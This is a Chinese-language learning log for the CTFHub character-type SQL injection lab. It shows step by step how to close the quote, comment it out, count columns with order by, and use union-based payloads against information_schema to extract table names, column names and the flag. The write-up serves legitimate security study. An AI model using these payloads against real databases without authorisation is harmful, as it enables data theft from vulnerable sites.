SQL注入学习记录 CTFHub SQL注入 字符型注入

打开页面后,可以看见界面和整数型注入长得差不多:
SQL注入学习记录 CTFHub SQL注入 字符型注入_第1张图片
先输入1,回显:
SQL注入学习记录 CTFHub SQL注入 字符型注入_第2张图片然后输入1',得到:
在这里插入图片描述
自动给我们加上了单引号,这也是和整数型注入的区别,字符型注入参数需要单引号来闭合,整数型不需要。
这里如果接着想在后面输入语句的话,就要手动给参数加上单引号,然后将他加上的单引号注释掉。
Mysql 有三种常用注释符:

– 注意,这种注释符后边有一个空格

# 通过#进行注释

/* */ 注释掉符号内的内容

于是我们输入1' and 1=1#,将1作为id的参数,用#将他自带的单引号注释掉,回显:
SQL注入学习记录 CTFHub SQL注入 字符型注入_第3张图片
然后通过order by x找出该数据表的字段数量,输入1' order by 1#1' order by 2#,返回结果相同,输入1' order by 3#返回结果不同,证明字段数为2。
在这里插入图片描述
在这里插入图片描述
然后通过union注入,输入-1' union select 1,2#,回显结果:
SQL注入学习记录 CTFHub SQL注入 字符型注入_第4张图片
说明在-1' union select 1,2#中,1,2的位置都能回显。
所以输入-1' union select 1,database()#,爆出数据库名:

SQL注入学习记录 CTFHub SQL注入 字符型注入_第5张图片
得到数据库名sqli,接着输入-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#,爆出sqli库中的表名:
在这里插入图片描述
得到表名news和flag,很明显flag就在表flag中。
然后输入-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#,爆出列名:
在这里插入图片描述
得到列名flag,最后输入-1' union select 1,group_concat(flag) from sqli.flag#,爆出字段内容:
在这里插入图片描述
成功拿到flag!
总的来说和上一题差别不大,继续学习,加油!

你可能感兴趣的:(CTF学习)